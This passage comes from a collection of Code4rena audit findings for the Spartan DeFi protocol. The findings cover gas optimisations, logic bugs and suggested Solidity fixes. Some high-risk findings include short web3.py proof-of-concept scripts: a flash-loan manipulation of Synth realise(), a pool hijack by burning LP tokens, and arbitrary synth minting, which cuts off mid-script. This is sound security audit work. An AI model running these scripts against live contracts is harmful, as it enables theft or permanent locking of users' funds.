additional private mapping `mapMemberPool_balance`. Despite this, the DaoVault has getter methods for all 3 mappings, whilst the BondVault only has a getter method for `mapMember_weight`. The getter methods (which aren't included in the interface) would be unnecessary if the mappings are declared as public. Also, the BondVault might perhaps be lacking a view method for `mapMemberPool_weight`. Should the separate getter methods remain unchanged, note that the getter method for `getMemberWeight()` has a convoluted implementation: ```jsx function getMemberWeight(address member) external view returns (uint256) { if (mapMember_weight[member] > 0) { return mapMember_weight[member]; } else { return 0; } } ``` which can be simplified to simply returning the `mapMember_weight[member]`. ### Recommended Mitigation Steps - Declare the relevant private mappings as public. - Kindly check if `mapMemberPool_weight` should be public for the BondVault as well, since it is the case for the DaoVault. "}, {"title": "Dao.sol: Return votes > consensus", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `hasMajority()`, `hasQuorum()` and `hasMinority()` functions contains the following implementation: ```jsx if(votes > consensus){ return true; } else { return false; } ``` This can be reduced to `return (votes > consensus);` "}, {"title": "BondVault.sol: Optimizations", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact - `_pool` is fetched once in `claimForMember()`, but is fetched again in its sub function `decreaseWeight()`. Since `decreaseWeight()` is solely called by `claimForMember()`, the `_pool` variable can be passed as an input to `decreaseWeight()` to avoid having to retrieve its value again. - In `increaseWeight()` and `decreaseWeight()`, zeroing out `mapMemberPool_weight` is redundant as it is set to another value 2 lines later. "}, {"title": "Router.sol: lastMonth variable is private", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `uint private lastMonth; // Timestamp of the start of current metric period (For UI)` There is no getter method for `lastMonth`, which makes the (For UI) comment is erroneous. ### Recommended Mitigation Steps Make it `public` or edit the comment "}, {"title": "Pool.sol: Optimizations", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact 1. `DEPLOYER` is set in the constructor but is not used anywhere in the contract 2. Redundant initialization `lastMonth = 0;` 3. `genesis` and `decimals` can have the `immutable` keywords since they are only set in the constructor and can't be changed 4. `iUTILS(_DAO().UTILS())` is called many times in `mintSynth()`, `removeForMember()` and `_swap*()` functions. Recommend storing as a local variable in these functions. 5. Since `revenueArray` cannot exceed length 2, the `addFee` function can be directly incorporated into the `addRevenue` function. Its for loop can be replaced with direct replacement of values. Also, `revenueArray.length != 2` is cleaner and easier to read compared to `!(revenueArray.length == 2)`. Given its purpose and usage, `archiveRevenue` / `cachePastRevenue` seems to be a better function name. If it is clear that revenueArray will be kept constant at 2, an alternative is to simply store the values as 2 separate variables. ### Recommended Mitigation Steps 1. Remove `DEPLOYER` 2. Remove the initialization `lastMonth = 0;` 3. `uint public immutable genesis;` and `uint8 public immutable override decimals;` 4. `iUTILS utils = _DAO().UTILS();` should utils be called more than once in a function 5. Possible implementation below ```jsx function archiveRevenue(uint _totalRev) { if (revenueArray.length == 2) { // shift value to the right revenueArray[1] = revenueArray[0]; revenueArray[0] = _totalRev; } else { // populate revenueArray to be of length 2 revenueArray.push(_totalRev); } } ``` "}, {"title": "Dao.sol: Restrict Function Visibilities", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact - `calcClaimBondedLP()` returns `_BONDVAULT.calcBondedLP(()` which is a view function. Hence, `calcClaimBondedLP()` can be a view function as well. - `hasMinority()` is not called within the contract. Hence, the `public` keyword can be reduced to `external` to save gas. ### Recommended Mitigation Steps - Restrict `calcClaimBondedLP()` visibility to `view` (ie. add `view` keyword). - Reduce `hasMinority()` from `public` to `external` "}, {"title": "Synth.sol: Redundant _handleTransferIn, onlyDAO, DEPLOYER", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `_handleTransferIn()`, `DEPLOYER` and `onlyDAO()` are defined but unused. Hence, they can be removed from the contract. "}, {"title": "Pool.sol: swapTo() should not be payable", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `swapTo()` function should not be payable since the WBNB-SPARTA pool should not receive BNB, but WBNB. The router swap functions handles the wrapping and unwrapping of BNB. Furthermore, the `swapTo()` will not detect any deposited BNB, so any swapTo() calls that have msg.value > 0 will have their BNB permanently locked in the pool contract. ### Recommended Mitigation Steps Remove `payable` keyword in `swapTo()`. "}, {"title": "Dao.sol: Reserve emissions must be turned on for depositLPs and bonds", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `depositLPForMember()` and `bond()` invokes `harvest()` if a user has existing LP deposits or bonded assets into the DAO. This is to prevent users from depositing more assets before calling `harvest()` to earn more DAOVault incentives. However, `harvest()` reverts if reserve emissions are turned off. Hence, deposits / bonds performed by existing users will fail should reserve emissions be disabled. ### Recommended Mitigation Steps Cache claimable rewards into a separate mapping when `depositLPForMember()` and `bond()` are called. `harvest()` will then attempt to claim these cached + pending rewards. Perhaps Synthetix's Staking Rewards contract or Sushiswap's FairLaunch contract can provide some inspiration. "}, {"title": "Dao.sol: Insufficient validation for proposal creation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In general, creating invalid proposals is easy due to the lack of validation in the `new*Proposal()` functions. - The `typeStr` is not validated at all. For example, one can call `newActionProposal()` with `typeStr = ROUTER` or `typeStr = BAD_STRING`, both of which will pass. The first will cause `finaliseProposal()` to fail because the proposed address is null, preventing `completeProposal()` from executing. The second does nothing because it does not equate to any of the check `typeStr`, and so `completeProposal()` isn't executed at all. - Not checking the proposed values are null. The checks only happen in `finaliseProposal()` when the relevant sub-functions are called, like the `move*()` functions. All of these scenarios lead to a mandatory 15 day wait since proposal creation in order to be cancelled, which prevents the creation of new proposals (in order words, denial of service of the DAO). ### Recommended Mitigation Steps 1. Since the number of proposal types is finite, it is best to restrict and validate the `typeStr` submitted. Specifically, - `newActionProposal()` should only allow `FLIP_EMISSIONS` and `GET_SPARTA` proposal types - `newAddressProposal()` should only allow `DAO`, `ROUTER`, `UTILS`, `RESERVE`, `LIST_BOND`, `DELIST_BOND`, `ADD_CURATED_POOL` and `REMOVE_CURATED_POOL` proposal types - `newParamProposal()` should only allow `COOL_OFF` and `ERAS_TO_EARN` proposal types 2. Perhaps have a \"catch-all-else\" proposal that will only call `_completeProposal()` in `finaliseProposal()` ```jsx function finaliseProposal() external { ... } else if (isEqual(_type, 'ADD_CURATED_POOL')){ _addCuratedPool(currentProposal); } else if (isEqual(_type, 'REMOVE_CURATED_POOL')){ _removeCuratedPool(currentProposal); } else { completeProposal(_proposalID); } } ``` 3. Do null validation checks in `newAddressProposal()` and `newParamProposal()` ```jsx function newAddressProposal(address proposedAddress, string memory typeStr) external returns(uint) { require(proposedAddress != address(0), \"!address\"); // TODO: validate typeStr ... } function newParamProposal(uint32 param, string memory typeStr) external returns(uint) { require(param != 0, \"!param\"); // TODO: validate typeStr ... } ``` "}, {"title": "BondVault.sol: Possibly unwithdrawable bondedLP funds in claimForMember() + claimRate never zeros after full withdrawals", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact A host of problems arise from the L110-113 of the `claimForMember()` function, where `_claimable` is deducted from the bondedLP balance before the condition check, when it should be performed after (or the condition is changed to checking if the remaining bondedLP balance to zero). ```jsx // L110 - L113 mapBondAsset_memberDetails[asset].bondedLP[member] -= _claimable; // Remove the claim amount from the user's remainder if(_claimable == mapBondAsset_memberDetails[asset].bondedLP[member]){ mapBondAsset_memberDetails[asset].claimRate[member] = 0; // If final claim; zero-out their claimRate } ``` **1. Permanently Locked Funds** If a user claims his bonded LP asset by calling `dao.claimForMember()`, or a malicious attacker helps a user to claim by calling `dao.claimAllForMember()`, either which is done such that `_claimable` is exactly half of his remaining bondedLP funds of an asset, then the other half would be permanently locked. - Assume `mapBondAsset_memberDetails[asset].bondedLP[member] = 2 * _claimable` - L110: `mapBondAsset_memberDetails[asset].bondedLP[member] = _claimable` - L111: The if condition is satisfied - L112: User's claimRate is erroneously set to 0 \u21d2 `calcBondedLP()` will return 0, ie. funds are locked permanently **2. Claim Rate Never Zeroes For Final Claim** On the flip side, should a user perform a claim that enables him to perform a full withdrawal (ie. `_claimable` = `mapBondAsset_memberDetails[asset].bondedLP[member]`, we see the following effects: - L110: `mapBondAsset_memberDetails[asset].bondedLP[member] = 0` - L111: The if condition is not satisfied, L112 does not execute, so the member's claimRate for the asset remains non-zero (it is expected to have been set to zero). Thankfully, subsequent behaviour remains as expected since `calcBondedLP` returns zero as `claimAmount` is set to the member's bondedLP balance (which is zero after a full withdrawal). ### Recommended Mitigation Steps The `_claimable` deduction should occur after the condition check. Alternatively, change the condition check to `if (mapBondAsset_memberDetails[asset].bondedLP[member] == 0)`. "}, {"title": "Ambiguous parameter name in `SynthVault`", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/41", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Ambiguous parameter name in `SynthVault`"}, {"title": "Synth `realise` is vulnerable to flash loan attacks", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/40", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact Synth `realise` function calculates `baseValueLP` and `baseValueSynth` base on AMM spot price which is vulnerable to flash loan attack. Synth's lp is subject to `realise` whenever the AMM ratio is different than Synth's debt ratio. The attack is not necessarily required flash loan. Big whale of the lp token holders could keep calling realse by shifting token ratio of AMM pool back and forth. ## Proof of Concept The vulnerability locates at: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L187-L199 Where the formula here is dangerous: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L114-L126 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L210-L217 Here's a script for conducting flashloan attack ```python flashloan_amount = init_amount user = w3.eth.accounts[0] marked_token.functions.transfer(user, flashloan_amount).transact() marked_token.functions.transfer(token_pool.address, flashloan_amount).transact({'from': user}) token_pool.functions.addForMember(user).transact({'from': user}) received_lp = token_pool.functions.balanceOf(user).call() synth_balance_before_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call() token_synth.functions.realise(token_pool.address).transact() token_pool.functions.transfer(token_pool.address, received_lp).transact({'from': user}) token_pool.functions.removeForMember(user).transact({'from': user}) token_synth.functions.realise(token_pool.address).transact() synth_balance_after_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call() print('synth_lp_balance_after_realise', synth_balance_after_realise) print('synth_lp_balance_before_realise', synth_balance_before_realise) ``` Output: ``` synth_balance_after_realise 1317859964829313908162 synth_balance_before_realise 2063953488372093023256 ``` ## Tools Used None ## Recommended Mitigation Steps Calculating Lp token's value base on AMM protocol is known to be dangerous. There are a few steps that might solve the issue: 1. calculate token's price from a reliable source. Implement a TWAP oracle or uses chainlink oracle. 2. calculate lp token value based on anti-flashloan formula. Alpha finance's formula is a good reference: https://blog.alphafinance.io/fair-lp-token-pricing "}, {"title": "Hijack token pool by burning liquidity token", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/38", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact `Pool` allows users to burn lp tokens without withdrawing the tokens. This allows the hacker to mutate the pools' rate to a point that no one can get any lp token anymore (even if depositing token). The liquidity tokens are calculated at `Utils:calcLiquidityUnits` ``` // units = ((P (t B + T b))/(2 T B)) * slipAdjustment // P * (part1 + part2) / (part3) * slipAdjustment uint slipAdjustment = getSlipAdustment(b, B, t, T); uint part1 = t*(B); uint part2 = T*(b); uint part3 = T*(B)*(2); uint _units = (P * (part1 + (part2))) / (part3); return _units * slipAdjustment / one; // Divide by 10**18 ``` where `P` stands for `totalSupply` of current Pool. If `P` is too small (e.g, 1) then all the units would be rounding to 0. Since any person can create a `Pool` at `PoolFactory`, hackers can create a Pool and burn his lp and set `totalSupply` to 1. He will be the only person who owns the Pool's lp from now on. ## Proof of Concept Pool's burn logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L146 Utils' lp token formula: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L80 Here's a script of a user depositing 1M token to a pool where `totalSupply` equals 1 ``` dai_pool.functions.burn(init_amount-1).transact() print('total supply', dai_pool.functions.totalSupply().call()) dai.functions.transfer(dai_pool.address, 1000000 * 10**18).transact() dai_pool.functions.addForMember(user).transact() print('lp received from depositing 1M dai: ', dai_pool.functions.balanceOf(user).call()) ``` Output: ``` total supply 1 lp received from depositing 1M dai: 0 ``` ## Tools Used None ## Recommended Mitigation Steps Remove `burn` or restrict it to privileged users only. "}, {"title": "Dao.sol: Unbounded Iterations in claimAllForMember()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `claimAllForMember()` function iterates through the full list of `listedAssets`. Should `listedAssets` become too large, as more assets are listed, calling this function will run out of gas and fail. ### Recommended Mitigation Steps A good compromise would be to take in an array of asset indexes, so that users can claim for multiple assets in multiple parts. ```jsx function claimAllForMember(address member, uint256[] calldata assetIndexes) external returns (bool){ address [] memory listedAssets = listedBondAssets; // Get array of bond assets for(uint i = 0; i < assetIndexes.length; i++){ uint claimA = calcClaimBondedLP(member, listedAssets[assetIndexes[i]]); // Check user's unlocked Bonded LPs for each asset if(claimA > 0){ _BONDVAULT.claimForMember(listedAssets[assetIndexes[i]], member); // Claim LPs if any unlocked } } return true; } ``` "}, {"title": "Router.sol: Optimise calculation of totalTradeFees in addTradeFee()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In the case where `arrayFeeLength < arrayFeeSize`, totalTradeFees is not calculated, so normalAverageFee will be 0. Hence, a return statement can be added to exit the function. Otherwise, when `arrayFeeSize >= arrayFeeLength`, the feeArray elements are iterated through twice: - First, in `addFee`, to shift the elements by 1 to make way for the new fee. Note that `addFee()` is also solely called by `addTradeFee()` - Second, for the calculation of totalTradeFees With all these in mind, we can make the second iteration redundant by combining the total trade fee calculation in `addFee()`. ### Recommended Mitigation Steps ```jsx function addTradeFee(uint _fee) internal { uint arrayFeeLength = feeArray.length; if(arrayFeeLength < arrayFeeSize){ feeArray.push(_fee); // Build array until it is == arrayFeeSize return; } // If array is required length; shift in place of oldest item // Calculate totalTradeFee at the same time uint totalTradeFees = addCurrentFeeAndCalcTotalTradeFees(arrayFeeLength, _fee); normalAverageFee = totalTradeFees / arrayFeeSize; // Calc average fee } function addCurrentFeeAndCalcTotalTradeFees( uint arrayFeeLength, uint _fee ) internal returns (uint totalTradeFees) { totalTradeFees = _fee; // add newest fee // store and update in memory first, for gas optimization uint[] memory _feeArray = feeArray; for (uint i = arrayFeeLength - 1; i > 0; i--) { _feeArray[i] = _feeArray[i - 1]; totalTradeFees += _feeArray[i]; } _feeArray[0] = _fee; feeArray = _feeArray; } ``` "}, {"title": "Router.sol: Better changeArrayFeeSize implementation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The current `changeArrayFeeSize` implementation deletes the entire feeArray (which is used to calculate normalAverageFee for dividends), resulting in having to rebuild the feeArray again. It would be better to keep the feeArray as is if the `_size` is greater than the current feeArrayLength, or trim it otherwise, so that the calculation `normalAverageFee` has past trade fees to use and is therefore more accurate. ### Recommended Mitigation Steps ```jsx function changeArrayFeeSize(uint _size) external onlyDAO { arrayFeeSize = _size; // trim feeArray to match _size if (_size < feeArray.length) { uint[] memory tempFeeArray = new uint[](_size); // copy feeArray for gas optimization uint[] memory _feeArray = feeArray; for (uint i = 0; i < _size; i++) { tempFeeArray[i] = _feeArray[i]; } feeArray = tempFeeArray; } // otherwise, keep feeArray unchanged } ``` "}, {"title": "Utils.sol: Combine Swap Output + Fee Calculation to avoid Rounding Errors + Integer Overflow [Updated]", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/34", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact For minting, burning of synths and swaps, the fee and output amounts are calculated separately via `calcSwapOutput` and `calcSwapFee`. To avoid rounding errors and duplicate calculations, it would be best to combine both of these functions and return both outputs at once. For example, if we take `x = 60000, X = 73500, Y = 50321`, the actual swap fee should be `10164.57` and output `12451.6`. However, `calcSwapOutput` and `calcSwapFee` returns `10164` and `12451`, leaving 1 wei unaccounted for. This can be avoided by combining the calculations as suggested below. The fee and actual output will be `10164` and `12452` instead. Functions that have to call `calcSwapOutput` within the contract (eg. `calcSwapValueInBaseWithPool`) should call this function as well, for calculation consistency. In addition, calculations for both `calcSwapOutput` and `calcSwapFee` will phantom overflow if the input values become too large. (Eg. `x = 2^128, Y=2^128`). This can be avoided by the suggested implementation below using the FullMath library. ### Recommended Mitigation Steps ```jsx function calcSwapFeeAndOutput(uint x, uint X, uint Y) public pure returns (uint output, uint swapFee) { uint xAddX = x + X; uint rawOutput = FullMath.mulDiv(x, Y, xAddX); swapFee = FullMath.mulDiv(rawOutput, x, xAddX); output = rawOutput - swapFee; } function calcSwapValueInBaseWithPool(address pool, uint amount) public view returns (uint _output){ uint _baseAmount = iPOOL(pool).baseAmount(); uint _tokenAmount = iPOOL(pool).tokenAmount(); (_output, ) = calcSwapFeeAndOutput(amount, _tokenAmount, _baseAmount); } ``` The FullMath library is included (and made compatible with sol 0.8+) below for convenience. ```jsx // SPDX-License-Identifier: MIT pragma solidity >= 0.8.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a\u00d7b\u00f7denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0, \"0 denom\"); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1, \"denom <= prod1\"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = denominator & (~denominator + 1); // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } unchecked { prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; } return result; } } ``` "}, {"title": "`approveAndCall` approve `max` amount of token", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/33", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact `approveAndCall` approve max allowance to the receiver regardless of the given parameter. This is far away from what the function name implies. Users would lose all the tokens by using this function. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L118 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L113 ## Tools Used None ## Recommended Mitigation Steps Change to `_approve(msg.sender, recipient, amount); ` "}, {"title": "Misleading comment and missing revert message", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L46 The comment at `poolFactory` L46 is a bit misleading. ``` require(getPool(token) == address(0)); // Must be a valid token ``` A similar checks in `synthFactory` seems to be more clear. https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthFactory.sol#L38 ``` require(getSynth(token) == address(0), \"exists\"); // Synth must not already exist ``` ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L46 ## Tools Used None ## Recommended Mitigation Steps It seems that `PoolFactory` is the only contract that does not provide detailed revert messages. I wonder whether the devs do this because of the concern about the code size limit. If that's the case, I recommend refactoring it to libraries or even uses a proxy factory to create new pools. Ref to proxy factory: https://eips.ethereum.org/EIPS/eip-1167 "}, {"title": "Pool.sol & Synth.sol: Failing Max Value Allowance", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/29", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In the `_approve` function, if the allowance passed in is `type(uint256).max`, nothing happens (ie. allowance will still remain at previous value). Contract integrations (DEXes for example) tend to hardcode this value to set maximum allowance initially, but this will result in zero allowance given instead. This also makes the comment `// No need to re-approve if already max` misleading, because the max allowance attainable is `type(uint256).max - 1`, and re-approval does happen in this case. This affects the `approveAndCall` implementation since it uses `type(uint256).max` as the allowance amount, but the resulting allowance set is zero. ### Recommended Mitigation Steps Keep it simple, remove the condition. ```jsx function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), \"!owner\"); require(spender != address(0), \"!spender\"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } ``` "}, {"title": "DEPLOYER can drain DAOVault funds + manipulate proposal results", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/27", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact 2 conditions enable the `DEPLOYER` to drain the funds in the DAOVault. - `DAOVault` is missing `purgeDeployer()` function - `onlyDAO()` is callable by both the `DAO` and the `DEPLOYER` The `DEPLOYER` can, at any time, call `depositLP()` to increase the LP funds of any account, then call `withdraw()` to withdraw the entire balance. The only good use case for the `DEPLOYER` here is to help perform emergency withdrawals for users. However, this could use a separate modifier, like `onlyDeployer()`. ### Proof of Concept 1. `DEPLOYER` calls `depositLP()` with any arbitrary amount (maybe DAOVault's pool LP balance - Alice's deposited LP balance) for Alice and pool to increase their weight and balance. 2. At this point, Alice may vote for a proposal to swing it in her favour, or remove it otherwise (to implicitly vote against it) 3. `DEPLOYER` calls `withdraw()` for the Alice, which removes 100% of her balance (and therefore, the entire DAOVault's pool balance) ### Recommended Mitigation Steps - Create a separate role and modifier for the `DEPLOYER`, so that he is only able to call `withdraw()` but not `depositLP()` - Include the missing `purgeDeployer()` function. "}, {"title": "memberCount not accurate", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function depositForMember of BondVault.sol adds user to the array arrayMembers. However it does this for each asset that a user deposits. Suppose a user deposit multiple assets, than the user is added multiple times to the array arrayMembers. This will mean the memberCount() doesn't show accurate results. Also allMembers() will contain duplicate members ## Proof of Concept // https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/BondVault.sol#L60 function depositForMember(address asset, address member, uint LPS) external onlyDAO returns(bool){ if(!mapBondAsset_memberDetails[asset].isMember[member]){ mapBondAsset_memberDetails[asset].isMember[member] = true; // Register user as member (scope: user -> asset) arrayMembers.push(member); // Add user to member array (scope: vault) mapBondAsset_memberDetails[asset].members.push(member); // Add user to member array (scope: user -> asset) } ... // Get the total count of all existing & past BondVault members function memberCount() external view returns (uint256 count){ return arrayMembers.length; } function allMembers() external view returns (address[] memory _allMembers){ return arrayMembers; } ## Tools Used ## Recommended Mitigation Steps Use a construction like this: mapping(address => bool) isMember; if(!isMember[member]){ isMember[member] = true; arrayMembers.push(member); } "}, {"title": "Vulnerable Pool initial rate.", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Vulnerable Pool initial rate."}, {"title": "Contract code size exceed contract size limit", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/21", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Contract code size exceed contract size limit"}, {"title": "arbitrary synth mint/burn from pool", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/20", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact `Pool` can mint arbitrary `Sythn` provided as long as it's a valid synth. When there are multiple curated pools and synth (which the protocol is designed for), hackers can mint expensive synthetics from a cheaper AMM pool. The hacker can burn the minted synth at the expensive pool and get profit. The arbitrage profit can be amplified with flash loan services and break all the pegs. ## Proof of Concept Pool's mintSynth logic: https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L229-L242 Synth's mintSynth logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L165-L171 Synth's authorization logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L229-L242 The price of the synthetics to be mint is calculated in `Pool` based on the AMM price of the current Pool Here's a web3.py script of minting arbitrary Synth in a pool. For simplicity, two pools are set with the assumption that link is 10x expensive than dai. ```python sparta_amount = 100 * 10**18 initail_link_synth = link_synth.functions.balanceOf(user).call() base.functions.transfer(link_pool.address, sparta_amount).transact({'from': user}) link_pool.functions.mintSynth(link_synth.address, user).transact({'from': user}) after_link_synth = link_synth.functions.balanceOf(user).call() print('get link synth amount from link pool:', after_link_synth - initail_link_synth) sparta_amount = 100 * 